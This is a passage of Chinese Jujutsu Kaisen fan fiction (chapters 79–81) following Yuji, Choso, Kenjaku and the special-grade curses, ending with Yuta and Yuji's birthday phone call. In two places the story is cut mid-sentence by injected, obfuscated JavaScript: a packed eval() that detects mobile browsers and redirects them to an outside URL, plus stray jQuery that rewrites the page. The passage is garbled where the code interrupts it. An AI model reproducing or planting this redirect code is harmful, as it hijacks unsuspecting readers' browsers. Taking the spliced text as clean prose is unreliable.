可是内心深处仍有一块空间留给了不可言说的执念,像是泥沼般死死吸住了他的双腿,既不能轻易脱离,也不肯完全任凭自己被吞噬。
为了让自己的头脑清醒一些,他开始主动投入到任务当中,因为特级的身份而得到了某些指名任务。他自然知道这些任务全部都是一些不放心他的人为了某种目的而下达的,不过他并不在乎这些。就像五条悟告诫他的话:在这个“必须遵守规矩”的咒术界,规矩反而是最容易被打破的——尤其是对于“他们这样的人”来说。
在东京塔的新年特别灯光秀亮起的时候,乙骨忧太刚刚将刀从一只一级咒灵的脑袋里拔出来。跟着他一起执行任务的是七海建人,一级咒术师在他有些歉疚地看过来的时候表示不必在意。
“总要有人来做这些工作,既然你选择接下它,那就由你来完成它。”成年人扯了扯领带,不管春夏秋冬他总是穿着得体的西装:“我多少能够理解你的心情。不必用那种眼神看着我,我想正常人都能像我一样理解,我也认同这是年轻人、或者说小孩值得被尊重的热情和执着。”
激进冒险、充满活力。
七海建人并不讨厌这样的人。
“但是在新年加班就是狗屎一样的选择,希望你之后能够错开这样的时间节点,乙骨同学。”也许他该学着冥小姐的样子去敲来更多的加班费。
“真是太不好意思了......”乙骨忧太蔫头耷脑地道歉。只是想着悠仁现在有可能独自面对的问题,他就没办法说服自己停下脚步。
追上一个加速离开的人本就是一件极其考验耐性与意志的事,更何况乙骨忧太想要追逐的是那样健康又活力满满的虎杖悠仁。
果然还是得想办法见到天元才行。
——
当羂索以熟悉又陌生面貌出现在虎杖悠仁面前时,哪怕他觉得自己早已做好接受一切的准备,怒火还是难以遏制地吞噬了他。
胸腔里像是埋着一座几欲喷发的火山,危险的岩浆隆隆作响,骤然瞪大的眼睛里爆发出仿佛要将羂索彻底撕碎一样凶狠的光。
缝合线被|干脆地露在了外面,虎杖悠仁死死盯着伤口旁泛白的表皮,观察着黑线穿透皮肤的孔洞周围的凸起,最终颤颤巍巍的视线还是落在了这具皮囊的嘴角。
夏油杰从不这么笑。
“......胀相已经知道了。”虎杖悠仁咬着牙说道。
羂索无所谓地说:“我没有从它们的身上感受到什么血脉的共鸣,想必它们也是一样的。抛开这点无用的关联,你觉得它们会如何选择呢?”
说到此处,他笑容中的嘲弄与满不在乎几近溢出,随口继续道:“我倒是不知道你们已经亲密到了这种程度。”
“......”虎杖悠仁无言以对,胸膛里的满腔愤懑突然平息了下来,就像有人突然拔掉了他感知愤怒的电源,唯一留下的只有在一片漆黑的世界中仍旧闪亮的那个念头。他明白想要穿越这片黑暗必然会变得遍体鳞伤、清浊不分,不过在痛苦挣扎间看清了自己,他下定决心无论付出怎样的代价也要达成那个目标。
将之视作“理想”。
得到夏油杰身体的羂索似乎已经有了新的计划,他对虎杖悠仁没什么特别的安排,只是偶尔会通过手机让他取回散落在某个地方的宿傩手指。胀相一般会跟着虎杖悠仁一起去,因为没办法甩开他,所以虎杖悠仁慢慢默认了这种搭档关系。
继续吞下宿傩的手指会让虎杖悠仁的咒力变得更像诅咒之王,只不过这种变化在里梅的眼中只是一种拙劣的、不自量力的模仿。他们在某个利用宿傩手指镇压诅咒的神龛前偶然相遇,不过默契地没有在这个人来人往的地方大打出手。
胀相没见过里梅,但从她身上散发出的咒力气息与虎杖悠仁敌视的目光也能明白双方的立场。
他迅速做出了反应。
“......都已经开春了,怎么突然降温了呢?”路过的人缩起肩膀,和同样被冻得一个激灵的同伴快步离开这个“风口”。真奇怪,离开那片区域之后气温立刻回暖了。
“刚才那两个人穿得也太奇怪了,哪有人穿着僧衣来教会的啊?”
“估计是在玩角色扮演吧,最近的孩子都很喜欢在社媒上发这些嘛~”
里梅心中的杀意正在无限上涨。比起质问羂索究竟想要干什么,她更想直接剖开虎杖悠仁的肚子拿回被他吞下的那些手指。
“......那可不行,”虎杖悠仁握拳,如果里梅真的打算在这里动手,他也不想随随便便放弃被放在这里镇压诅咒的这根手指,“我需要这家伙的力量。”
为了杀死“妈妈”,他什么都能吞下去。
僭越的话惹得里梅厉声呵斥道:“你当这是谁的东西?!不如就把你细细料理一番当做宿傩大人归来的祝宴,也算让你卑劣的身体发挥一点作用。”
她能够感知到虎杖悠仁的体内绝对不止她喂下的那一根手指,想来肯定是羂索骗了她,直接将高专那六根手指交给了虎杖悠仁。看在千年前的交情份上她太过信任对方以至于没有立下术师间最牢靠的束缚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378218|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,让羂索晃了她一手。
找到一个可以接纳两面宿傩的容器并不简单,况且现在已经有将近半数的手指都被虎杖悠仁吞下,里梅说要将他料理一番做成祝宴并非随口之言,在宿傩真正受肉之后只有吞食虎杖悠仁才能取回被他摄取的那些手指的力量。
那么不妨让虎杖悠仁替她来收集手指。有羂索在背后指点,肯定要比里梅独自一人四处搜集效率更高。反正她手上已经留下了几根,足够她为宿傩寻找满意的容器后受肉。
就算虎杖悠仁拥有了剩下所有的手指,他能达到的地步与真正的诅咒之王也是云泥之别,根本不足为惧。
只是要在此之前忍耐面前凡人的数次僭越......为了恭迎宿傩大人的归来,这只不过是必然的忍耐。
“哼,虎杖悠仁,”里梅甩袖,闭目收敛了周身刺痛皮肤的寒冷咒力,“给你一个忠告。”
这副身体不够高大,将锐利的气息收起之后看上去竟和普通人没什么两样。
“‘两面宿傩’是诅咒之王的名号,”她抬手指向虎杖悠仁,语气冷若冰霜,“宿傩大人的力量不论在哪个时代都是足以颠覆世界的诅咒之力。希望我们之后还能再见面,如果那个时候你还没有被它撕碎......那才勉强算得上值得称道的食材。”
虎杖悠仁讨厌她这种和羂索一样只将他当成某种物件随意磋磨的态度,扬起眉毛呛声道:“谁吃掉谁还说不定呢。”
闻言,已经转身的里梅只是轻轻晃动脑袋,一声嗤笑随着血红色的挑染暴露在虎杖悠仁面前:“呵,你最好有说这话的资本,凡夫俗子。”
她走后,虎杖悠仁和胀相取走了宿傩的手指。这里是一座教堂的后院,像是医院、学校或是教会这种容易积聚诅咒的地方往往会被放置强力的咒物来驱逐它们,以毒攻毒,越是强大的咒物镇压的效果越强大。
散落在外的宿傩手指有一部分就被放置在了各种地方镇压诅咒,另有一部分辗转山野,也许会在封印破损后被因诅咒之力吸引而来的高等级咒灵吞下,帮助本不应该继续进化的咒灵来到更高的层次。
特级咒物的确能够驱散诸多低等级咒灵,但它们所蕴含的诅咒之力同样吸引着高等级的咒灵摄取它们换来更强大的力量。对虎杖悠仁而言也是如此,吞下的手指越多,体内属于两面宿傩的咒力和术式就会越强,现在他已经像是完全泡在宿傩咒力中的咒物一般,面目全非。
他扶着墙壁痛苦地干呕着,拒绝了胀相递来的水。不论喝什么、吃什么都没办法压下死蜡那恐怖的味道,连带着食欲也会下降,摄取手指后的进食时间里他根本没办法好好吃饭。
痛苦,但是体内力量的丰盈又让他有了一种隐秘的快感。
他弯着腰,望向自己的手掌。
诅咒之王拒绝了这具身体,却留下了他另一个宝贵的东西。刻印在大脑右侧前额皮质上的第二个术式随着力量不断增强而逐步改变着自己的性质,不过咒术的奥秘繁杂多变,也许只是刻印下来的回路有一处小小的拐角发生了错位,虎杖悠仁的【御厨子】能够以与宿傩全然不同的姿态释放出来。或者说,他只能这样使用【御厨子】了。
通过“接触”的行为将代表切割的虚线变为真实存在的“现象”,如果忽略那些在表面延伸游走的小剪刀图案,虎杖悠仁的斩击也能做到隐秘而无形。
他觉得自己以后能够做到隐藏这些辅助他切割的图案,而且出于某种直觉,“接触”的方式也许同样能够发生进化。
虎杖悠仁无比确信自己已经没办法再用出斩向羂索、斩向夏油杰的那种无形斩击,这种能力已经随着那颗心一起在薨星宫彻底死去。也许正是因此,他的大脑才悄悄为他修改了某一处回路,让他得以从痛苦挣扎的漩涡中悄然脱身......尽管只是逃避的另一种表现,不过这对虎杖悠仁来说已经留出了足够多的喘息空间。
将宿傩的力量变为他自己的力量也不再是某种天方夜谭般的幻想。
“悠仁,”胀相收回了手,看着虎杖悠仁很快便站起身,像是什么都没发生过一样调整着自己的呼吸,“我们回去吧。”
“嗯。”喉咙里还在不断返上死蜡的味道,但生理性的眼泪与反胃已经被他压了下去,离开教堂之后不会表现出任何异样。
胀相在虎杖悠仁的要求下换掉了看起来像是加茂家的术师一样的衣服,开始适应现代服装,只是他脸上象征着【赤血操术】和咒灵血脉的咒纹没办法轻易去除,如果要去人多的地方的话,虎杖悠仁会要求他戴上口罩。
“你的发型就不能改改吗?街拍摄影师最喜欢这种看起来独树一帜的潮流发型了......”劝说未果,于是胀相出门的装备又多了一顶棒球帽。
打扮严实的胀相看着手机上的讯息。他和坏相都有一部用来联络的手机,血涂因为不够灵活的手指而被排除在外,不过它的哥哥们很乐意让弟弟使用自己的手机。
“坏相说加茂宪伦让他们去接人。”胀相说道。
“什么人啊?”
胀相将手机屏幕展示给虎杖悠仁看。
特级咒灵,他们未来的同伴。
80. 第 80 章
“呐,夏油,所以现在宿傩到底是什么情况?”真人用手指尖戳弄着漏瑚手中由人类改造而成的烟斗,每戳一次都能看到烟斗表面的人脸发出无声的哀嚎:“就算他不在也不怎么影响我们的计划吧?”
海滩上的阳光一动不动,连光线落下的角度都不曾改变,自然也没有任何温度。阳光、沙滩、海浪,这里不过是浮动在海中的陀艮构造出来的领域,所有的意象都是咒灵内心生得领域的具现化产物,没有任何实际意义。
只是它的同伴们愿意继续这场过家家一样的游戏。
“想要达成你们的目标,在开战前至少要做到一点,”羂索换上了一套适合享受日光浴的沙滩风套装,绿色开衫T恤上印满了椰树的图案,“让五条悟不能继续战斗。如果能拉拢宿傩,无疑能让你们的计划更加保险一些,不过他看起来没有那么大的兴致......”
说着他耸了耸肩,看似非常遗憾地说道。
漏瑚的脑袋上像火山一样喷出了炙热的气体:“两面宿傩......传说中的诅咒之王?它真的有那个价值吗?”
“严格地讲,两面宿傩并非真正的诅咒。他是平安时代真实存在过的人类,但直到老死也没有咒术师能够击败他。”
羂索的话并没有在特级咒灵们中引起任何波澜,真人和漏瑚都在用“所以呢?”的表情看着他,花御说着谁也听不懂的话,但它真正想说的意思却直接传达到了其他人的大脑中。
听完后,羂索笑了一声:“你会这么想倒也不奇怪。呵呵,说不定这倒是个好事。不妨先将两面宿傩这个筹码放到一旁,你们可以选择的后手不止他一个。”
漏瑚嗤笑道:“既然是人类,就必然是由谎言构成的,所有表现出来的正面感情都必定有其内在不可告人的秘密。但是藏在心中的憎恶与杀意的负面感情都是最真实的,难道由此诞生的诅咒不才是真正的人类吗?”
“有趣的想法。”羂索不置可否,模棱两可地应道。自称新人类吗......区区咒灵,还真敢说啊。
“两面宿傩身为人类却将自己的名号打造成了流传千年的恐怖诅咒,就算他本尊不曾亲临,也可以拿他的名头去做一些事,”他旁敲侧击地提示,“当然,你们也可以按照自己的想法先实践,毕竟总要亲身体验一下如今的世界和咒术界才对不是吗?”
真人把它送给漏瑚的烟斗拿了回来,存放烟草的地方装的却是只有半个拳头大小的人类大脑,表明了这根烟斗的来源。它曲指弹了弹还算新鲜的脑组织,烟斗上的人脸终于挤出了一点微弱的嚎叫声。
“诶——我倒是觉得没什么必要啦,人类不论什么时候不都是一个样子嘛~倒是你,听你的意思是有可以彻底杀死五条悟的方法?他不是最强的咒术师吗,你真有这种自信?”被真人用【无为转变】改造人体制成的烟斗在它的手中哀声哭泣着。
“呵呵,恐怕当下没有人能说自己有自信可以杀死拥有【无下限咒术】的六眼术师,”羂索双手抱臂,“不过我这里恰好有一个可以封印五条悟的方法。”
真人将烟斗丢回漏瑚怀里,兴致勃勃地跳到了羂索的旁边:“听起来是故意的呢,夏油!”
“你可以尽管试试看,真人。”羂索侧头注视脸上洋溢着孩童一般笑容的咒灵,回以同样的微笑:“毕竟咒灵不会彻底死去,只要有人类存在着,你就会重新出现不是吗?”
真人撇嘴,做着鬼脸摊手道:“真无聊~”
羂索把头转了回来:“真是唯独不想被你这么说啊。”
漏瑚把有点针锋相对的两人拉回了原本的话题上:“所以,你准备怎么封印五条悟?”
“你应该听说过,”黑发的诅咒师从善如流地绕开了总是试图找茬的真人,说起了正事,“特级咒物,狱门疆。”
活的结界、某个触犯了禁忌的东西。平安时代的高僧源信和尚圆寂后化身而成的咒物,只要满足条件就能将一切物体封印在其中。
“我一向很支持要去主动探寻自己的极限,总是故步自封的话,哪怕是最强之人也终有一日会被后来者超越。”
这些特级咒灵在很早之前就已经以咒胎的形态出现,似乎应运了一种趋势。历史上每过一段时间就会爆发出这样一个“群星璀璨”的时代,从大体上来看,多少能和历代六眼术师的降生扯上关系。他们活跃的时代,有天赋的术师也如雨后春笋一般破土而出,同时咒灵们也必然进入一段爆发式的活跃期。
想必只有多年亲身游走于万千世界、亲眼注视着日夜变化的人才能敏锐地察觉吧?
如今已经成为最强的五条悟再一次带动了这个咒术世界缓缓启动......若说真人、漏瑚它们是否因五条悟的存在而被催化、加速了降生,羂索反倒不认为它们之间有着绝对的因果关系。
不过,难得遇到这么多拥有知性的特级咒灵齐聚一堂,甚至产生了“同伴”和“族群”的意识,谈论着要将人类与咒灵们的地位完全调换。这对羂索来说也算是一件新鲜事,让他从自己的计划中分出一些时间用来观察它们倒也不是不能接受。
“夏油,”漏瑚一旦兴奋起来就会难以控制自己的咒力,升腾的温度让这片虚假的海滩终于有了一丝真实的感觉,“把狱门疆给我。我要亲自杀了五条悟,这东西就留给我当收藏好了!”
“可以是可以,但是你会死哦,漏瑚,”羂索说道,语气从容,“如果你执着于此的话,倒是不妨听听我的提议。”
漏瑚对他的说法嗤之以鼻:“区区人类!就算和他同归于尽,对我来说也无所谓!千百年后站在荒野上大笑的不必是我,未来的世界必定是属于咒灵、属于我们新人类的!”
羂索嘴角的笑意隐秘地扩大着,只有一直以留意同类的视角观察着他的真人发现了隐藏在其中堪称恐怖的好奇心。
“诶~”它发出黏腻又沾满了恶意的长长尾音,为自己的新发现兴奋不已。
咒灵们的秘会没有惊动任何其他人,虎杖悠仁和胀相是从坏相口中了解到这次羂索找来的所谓“同伴”居然全都是特级咒灵!
不过它们似乎对人类和咒灵的混血没有太多的认同感,只有真人围着坏相和血涂不断发出能被认为是挑衅的声音。在绕到背后令坏相彻底爆发之前,它还算识趣地退开了。
“看上去都是一群自大到让人有些厌恶的家伙,与它们同行的话......”坏相的未尽之言似乎已经说明了他的看法,而这无疑也让胀相产生了新的思考。
所谓诅咒,说到底不过是从人类的负面感情中诞生之物,无论再如何粉饰自我,也终究是由完全的恶意组成的东西。
胀相能够感觉到自己有名为心脏的东西正在跳动着,输送由咒力组成的血液涌入身体,驱动着他行动。
虎杖悠仁悄悄观察着他的表情,在胀相露出明显的沉思时开口道:“你们和它们不一样。”
这话引得胀相从自己的思绪中惊醒,有点不可思议地望向粉发少年:“悠仁?”
虎杖悠仁感谢爷爷对自己的教导。老人总是不厌其烦地告诉他就算是第一眼觉得讨厌的人也要去了解,哪怕了解之后也还是觉得厌恶,也必须这么做才行。为了以后不会后悔。
粉发少年深吸了一口气。
胀相所有的犹豫与选择都被他看在了眼里。他没有兄弟姐妹,所以不知道时常会出现在胀相背后、仿佛一直背负着的东西究竟是什么,但是他至少能够感受到某种他只能从人类身上察觉到的东西。
也许他和乙骨忧太尚未明晰自己的心意之前,给予对方的便是这种看不见、摸不着,但被真心对待的人能够感受到的关爱。
所以他低下头没有去看胀相,沉声缓缓道:“你们有家人在。”
他尚不能完全断言获得了知性的特级咒灵能否拥有同样的感情,也许他也在害怕如果从一直以来被他认定为“与自己并非同类”的存在身上察觉到“啊,原来它们与我们没什么区别”的感受的话,他将会再一次完全地打碎自己的认知......他本能地畏惧着重塑自我需要经历的痛苦。
也许爷爷的教导就是为了这一刻而存在着的吧?
不再管胀相听到他的话会作何反应,虎杖悠仁拐进厨房给自己准备晚饭。他其实没什么胃口,不过还是机械性地进食、填满自己的肚子。他觉得至少在照顾自己这方面不能太过敷衍。
血涂的笑声从客厅里传了进来,他们不需要睡觉,可以一天到晚都开着电视观看自己喜欢的节目。从到处搞怪的综艺节目到严肃认真的晚间新闻,甚至令人昏昏欲睡的冗长广告都能让他们目不转睛,偶尔还会问一些令虎杖悠仁哭笑不得的问题。
更令他觉得有点不自在的是九相图们完全以兄弟来称呼他,血涂偶尔会叫他弟弟,有的时候也会直接叫他的名字。
血涂情绪激动的时候会不小心将血甩得到处都是。
“悠仁能直接碰到我的血!”
在粉发少年帮血涂清理滴到地板上的血迹时,红色的液体透过毛巾弄脏了他的手指,然而虎杖悠仁只是平静地走到水池旁将血迹冲洗干净。
“血?你的血怎么了吗?”虎杖悠仁看了看接触到血迹的手指,除了因为冲洗冰水而被冻得微微泛红之外,没有任何其他问题。
“我们九相图的血液都是有毒的,虽说悠仁你和我们一样混入了加茂宪伦的血脉,但你毕竟是纯粹的人类,不像我们......”坏相靠在厨房门口,他的着装打扮一向很大胆,但因为九相图不是完全的咒灵,他们能被非术师看见,也能被电子设备记录下来,所以坏相和血涂一般不会选在白天出门。
虎杖悠仁关上了水龙头。这间房子里的设施比起它所在的位置来说有点太过老旧,不过会为了关不严实的水龙头或者短路的灯泡为难的大概只有虎杖悠仁了。
管道尽头滴落的水珠打在水槽里,汇入更大的水渍中,流入了下水道。
毒。人类本不应该对来自咒胎九相图的毒素有任何抵抗能力,可虎杖悠仁却拥有这样的特异体质,甚至能够让他抵抗来自诅咒之王的剧毒咒物。可这样的“异常”就能够断言他并非人类吗?对九相图们而言也是同样的道理吗?
坏相抱着手臂,全黑的眼睛凝视着虎杖悠仁的背影。少年因他的话而呆立原地沉默地思考着。虎杖悠仁与胀相因为不同的原因,纠结着相似的问题。坏相和血涂其实并不怎么在乎那些,但是胀相觉得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17378219|200134||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他们会在乎,会为了找出一条“不会让弟弟们太过痛苦”的路而独自奔走在未知的前路上。
坏相反倒看得更清楚一些。不论是选择“成为”咒灵还是“成为”人类,只要还继续前进着,就绝对无法避开那些痛苦的事。无非是哪一方走得更轻松,可选了路,若用“幸好走了轻松的那一条”来安慰自己,真的能够得到支持自己继续走下去的力量吗?
“你们都太善良了,所以才会为了寻找最优解而痛苦地思考,”坏相叹了口气,“我们是家人,无论未来发生什么,我们都会站在彼此的身边......这样相互支持、相互爱护的路,不才是‘最简单’的那一条吗?”
客厅里,坐在血涂身旁的胀相双手交握,在弟弟的笑声中垂头不语。
虎杖悠仁搭在水池边的手攥拳。
“......我出去一下。”
他迅速地换了衣服,庆幸自己还没有开始热便当,急匆匆地出了门。
明天是乙骨忧太的生日。
像他一样深夜外出的人在这片街区并不常见,这里虽然在新宿,但与热闹繁华的歌舞伎町之类的地方相比安静得有点过分。公寓楼里大多都是早出晚归的上班族或者常年宅家的蛰居族,偶尔会有晚上喝得酩酊大醉、抱着路灯的杆子大吐特吐的人。
虎杖悠仁下楼之后走入了无人的巷子,被他投喂过的猫咪走在院墙上与他同行,优雅地翘着尾巴。
离开大路后,就只有两侧的民居门前亮起的小灯能散发出微弱的光,与月光共同照亮小巷。初春的夜晚仍带着点冬天未褪的寒意,虎杖悠仁捧着手机,荧光打在脸上,让他的视线出现了一丝恍惚。
他盯着屏幕看了很久很久,手指悬在那里,将落未落。
乙骨忧太和狗卷棘正蹲在路边等辅助监督开车来接他们。
“......”
他总是下意识地看向手机,这样的举动自然引起了狗卷棘的注意。
“大芥?”
乙骨忧太还不太熟悉和狗卷棘沟通的方法,不过他常说的饭团语倒是多少能够理解一些,这大概是在关心他情况的意思吧?
“......没事,不用担心我,”他只是想要遵从自己的预感放肆地期待一下,“比起这个,家入小姐有说那些......咒灵到底是什么情况吗?”
狗卷棘定睛看了他两眼,最终摇了摇头。
他们下午在外出执行任务的时候遇到了一批奇怪的咒灵。并非它们的长相让乙骨忧太心生疑虑,在被击倒时口中发出的痛呼也不会让他手下留情,毕竟等级越高的咒灵语言能力越强,所以他原本没发现任何异常。
会喊痛,也会机械性地重复某些固定的词汇,直到它们倒下后彻底失去生机,乙骨忧太才留意到了不对劲的地方。本来被祓除的咒灵在死后很快就会彻底消散,可这次遇见的这几个咒灵却留下了尸体。
直到他们等伊地知洁高来到现场之后,那些尸体仍未出现应有的消失反应。
“五条先生还在出差,不过我已经联系上家入小姐,我得先把它们送回高专,”伊地知洁高飞快地拨打着电话,先后联系了五条悟和家入硝子,“乙骨同学、狗卷同学,得麻烦你们稍微在这附近等一会儿,我让新田过来接你们。”
“麻烦你了,伊地知先生。”
乙骨忧太和狗卷棘帮忙将那些尸体搬上了后备箱和后排座椅,用外套盖住了它们仍在滴血的脸。
关上车门前,狗卷棘戳了戳他的肩膀,将手机屏幕摆到了他的面前。
“拍个......照片?五条老师怎么......”犹豫的话尚未说完,乙骨忧太骤然意识到了其中存在的悖论。
他的眼睛重新落回汽车后座被盖住的尸体上,感觉后脊发凉。
“——抱歉抱歉,我来晚了!是乙骨和狗卷同学对吧?伊地知先生让我来接你们,”女性辅助监督指了指后座,“来上车吧!”
新田新叮嘱他们系好安全带,很快就出发了。
乙骨忧太将头靠着车窗,望向外面飞速倒退的城市街景,接近高专的车程看起来就像这世界逐渐褪去了繁华的外衣,流露出苍白又荒凉的内里。
咒灵是不能被电子设备记录下来的。
他们回到高专的时候,家入硝子的解剖室正关着门,有冷白色的灯光从门缝中透出来。她的工作强度很大,显然现在并不是打扰她的好时机。乙骨忧太和同伴在宿舍门口分开,回到房间内之后却没有立刻打开灯。
他沉默地在黑暗里站了一会儿,脱掉外衣鞋子之后径直躺倒在了床上。眼睛很快适应了黑暗,房间在月光中逐渐清晰。他打开手机,静静盯着屏幕上方白色的时间缓慢跳动着。
他就这样一直看着,在数字归零的刹那,心跳震耳欲聋。
可是直到0变成了1,房间里依旧只能听到逐渐平静下来的悠长呼吸声。
乙骨忧太深深吸气。
下一刻,震动的手机和重新亮起的屏幕惊得他一口气卡在嗓子里不上不下,只能翻身起来一边咳嗽一边点开了收信箱。
颤动的视野中,他明明白白地看见了那几个字——
——生日快乐,忧太。
81. 第 81 章
乙骨忧太紧盯着那几个字,半晌,又将视线挪到了那串陌生的手机号上。
该怎么回复呢?或者遵从自己的心意,直接拨电话回去?换了新号码......他应该不会再有心情用新的号码开一个LINE的账号了。
“......忧太。”
寂静房间里,呼吸声落地可闻。
乙骨忧太感觉自己仿佛正在梦中一样,浑身轻飘飘的。他根本没意识到自己的心有多么迫切,身体违背了大脑的意志,在双眼见到那串陌生的号码时,手指就已经摁下了拨号键。
手机那头的人在拨通的瞬间就接听了电话。
虎杖悠仁坐在一处矮墙上,一路跟着他跑过来的猫咪蹲在对面的路灯下舔毛。思念和泪水一样,当每个人心中的罐子被灌满到再也装不下之后,无处可去的它们就会自然而然地、不受控制地涌出来。
有的时候人很能忍受痛苦,不管那来自肉|体还是灵魂,仿佛只要抱持某种执念,意志就能一直无视身体发出的警告,强迫自己忽略从未停止的阵痛已经足以彻底击垮他这个事实。
呼唤名字的声音穿透耳膜的瞬间,仿佛连带着胀满的心房也被一同戳破。
故作波澜不惊地粉饰太平,结果伪装却是那样拙劣,轻轻的一口气就能将它彻底揭开。
乙骨忧太头一次觉得自己的声音听起来那样陌生:“悠仁......猫?”
依据主人的心意高昂起来的语气缓缓回落,乙骨忧太留意到了从他心心念念的人那里抢夺注意力的另一个小生灵的存在。
“啊,我偶尔会喂它,结果就被这孩子缠上了,”虎杖悠仁似乎将手机夹在了耳朵和肩膀之间,腾出了双手,“现在、这家伙......赖在我身上不下去了——”
语言化作了温柔的手,抚平了乙骨忧太心中的褶皱。他放松了眉头,语调轻盈地说:“它们好像都更喜欢你一些。冷吗?”
“不冷啦,”虎杖悠仁赶不走突然跑到他腿上蹲着的猫,它似乎打定主意要在粉发少年身上汲取温度,所以他只能无奈地保持原样,让它缩在怀里舒坦地取暖,“你......都是很好相处的人吗?”
乙骨忧太前倾身体,觉得喉咙有些发痒:“你都知道了?”
电话那头的人似乎再也无法伪装平静,言语间带上了明显的歉疚:“对不起......对不起,忧太。”
虽然是流浪猫,但毛发却被打理得很干净。虎杖悠仁顺着猫咪的背拂过它的脊柱,他确定自己没有因为难以自控的情绪而影响到手下的力道,然而这只猫却直接扬起头,一刻也不停地冲着他叫嚷起来。
它显然没有什么控制音量的意思,虎杖悠仁有意安抚,可顺着背梳动毛发的行为并没能让它安静下来,反而抬起前肢扒拉他,在不那么厚实的帽衫外套上留下了沾着尘土的灰色脚印。
不能继续再让它这样叫下去了。虎杖悠仁有点害怕它的吵闹会影响到附近独栋公寓里的居民,于是起身准备穿越小巷,去不远处的小公园里待着。猫咪果然一路跟着他走到了无人的公园,不过这下它反而不再那样高声叫嚷着,在虎杖悠仁坐到轮胎和铁链组成的秋千上时再一次跳到了他的腿上找了个舒服的位置蹲坐了下来。
在虎杖悠仁看不见的地方,乙骨忧太听着电话那边不断发出衣物摩擦的声音,将手指插入发根,好像略长的头发怎样梳理都不能令他满意,以至于最后保持着这样的姿态垂头死死盯着脚边的地板。
似乎是他过于长久的沉默让对面的人有些惴惴不安。虎杖悠仁的体型对于这个专门建设给孩子们游乐的秋千来说还是有些过于大只了,他抬头望向发出咯吱声的锁链连接处,有些不确定地喊了一声:“忧太?”
“我在呢,”乙骨忧太小声应道,他想了想,终于还是没忍住抱怨了起来,“我只是......因为悠仁把我丢下所以非常不安,担心到很难入睡,被你看到的时候把你吓了一跳吧?但是现在已经好很多了......抱歉,我擅自把你的手机里的东西拷贝到自己的手机里来了......”
明明虎杖悠仁没有问这些问题,可乙骨忧太还是兀自说了下去,而通话中的另一个人也安静地听着,心中酸甜苦涩全部过了个遍,像是打碎了所有的调味瓶又闭着眼睛将厨房搅得一团糟。
乙骨忧太的确偶尔也会浮现出这样的想法:是因为我不够优秀才没有被选择吗?
哪怕他再清楚不过——虎杖悠仁绝对不是这样认为的,可内心的自负与自卑还是化作执念的怪物,在散发着腐朽气味的阴影处伺机而动。
他喘息着,终于问出了最重要的问题:“平安夜那天,到底发生了什么?”
在虎杖悠仁稀碎的叙述中,乙骨忧太逐渐拼凑出了当晚发生的事。就像两片破碎的拼图终于合二为一,这本是会令人因为“圆满”而感到满意的事,可偏偏从细节中抽身、远远地看清拼图的全貌后,他后知后觉地意识到了真相究竟有多么残酷。
“......”他自认为掩饰得很好,不过全心全意留心着他反应的虎杖悠仁没有错过某一瞬间骤然加重的呼吸,这一发现让虎杖悠仁下意识地跟随着呼吸声抿唇,嘴角向下扯去。
再一次......做出了错误的选择。
“所以那天你被用冰的术师带去了高专,那个人逼迫你......”乙骨忧太的声音忽然哽住,再也说不下去了。
他开始习惯总是充满遗憾与苦闷的命运围绕着自己和他在意的人,比起责备自己,他现在更在乎虎杖悠仁的感受。
几息之后,他终于挣扎着开口:“......两面宿傩在你身体里吗?”
“不,”虎杖悠仁的话让他如释重负,尽管巨石仍停留在他头顶的山崖摇摇欲坠,可现在多少能留出让他继续苟延残喘的空间,“虽然不知道宿傩究竟是怎么想的,但我并没有成为他的容器。”
虎杖悠仁在心里感谢乙骨忧太让他不至于重新沉溺在痛苦的海岸边。海水咸腥的味道像极了泪水,他们都聪慧得过分,也敏锐得过分,凭借着对对方的理解就能通过三言两语,甚至是呼吸节奏的变化洞察自己的故事中缺失的部分真相,将情绪化作填补空缺的事实,并为从中感受到的痛楚而难过。
“悠仁,”乙骨忧太觉得自己正走在孤岛灯塔内的螺旋楼梯上,向上望不见灯光,向下望不见尽头,“我们的目标是一样的,对吧?”
“当然了!”
虎杖悠仁目光凝重,却带着不容忽视的坚定与决绝:“那是当然的了!”
先说正事,先和悠仁把正事说清楚才行。乙骨忧太听不出自己的语气中被强压着的急切,可听他说话的人却能准确地捕捉到它们:“解除束缚的方法我会继续找的,不管是咒术还是咒具,一定能找到的!薨星宫的天元大人说不定知道一些方法,但是我现在还见不到祂......别担心,悠仁。”
如果可以的话,乙骨忧太希望自己可以亲手杀死羂索。
半晌,电话那头传来了一声带着鼻音的“嗯”。
他们又说了些别的事,不涉及到被束缚禁止的部分,他们最大程度地和对方分享了相互缺席的这段时间。
分离从不曾增加他们内心间的距离,因为无限增加的思念早已填满了那片空缺。
乙骨忧太终于下定决心满足自己有点自私的愿望,捧着手机说道:“悠仁......悠仁。”
从没被乙骨忧太这样连声叫过名字的虎杖悠仁听得手一抖,蹲在他怀里的猫终于决定离开这个温暖的角落,让冷空气重新钻入那片仍残留着热量的地方。
太过分了吧?为什么要用这种语气叫他的名字啊......他揪着沾到身上的猫毛,轻轻晃悠起秋千。
“我想听你亲口说。”
他觉得喉咙黏腻,犹如吞下了热气腾腾的蜜糖,浓稠、甜津津的,涌入喉管、烫穿了心脏。
虎杖悠仁明知故问:“......说什么?”
